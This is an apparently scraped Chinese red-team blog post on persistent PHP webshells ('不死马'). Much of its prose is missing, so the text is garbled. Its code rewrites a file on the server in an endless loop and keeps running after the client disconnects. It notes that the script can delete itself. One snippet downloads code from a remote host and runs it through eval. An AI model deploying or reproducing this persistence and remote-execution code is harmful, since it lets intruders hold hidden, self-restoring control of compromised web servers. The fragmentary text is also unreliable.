【红队技巧】Php-不死马的权限维持

知识大全 3年前 (2021) Jie
561 0 0

java

phpwebshell//

php

0x01 PHp - ()

宿webshell


()

<?php
$file = fopen("test.php", "w"); //打开一个文件
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);  //写入一个文件
fclose($file);
?>

访php test.phpwhileif

<?php
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
} while (true);
?>>

【红队技巧】Php-不死马的权限维持

 

 

 

 

 


 

 

 

 php-fgi

ignore_user_abort(); //PHP.
set_time_limit(0);//set_time_limit(0)


<?php
ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "<?php phpinfo();?>\n";
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>>

【红队技巧】Php-不死马的权限维持


unlink(__FILE__) //ignore_user_abort(true); //file_get_contents  //

  

 2.php dometxteval0php

<?php
$remote_file = 'http://192.168.3.114:81/test.txt';
$code = file_get_contents($remote_file);
eval($code);?>

 

powershell 线 cs

【红队技巧】Php-不死马的权限维持


 

 

 

 

 

 

 

 burp   burp 

【红队技巧】Php-不死马的权限维持

 

版权声明:Jie 发表于 2021年10月13日 pm3:01。
转载请注明:【红队技巧】Php-不死马的权限维持 | 黑客街

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...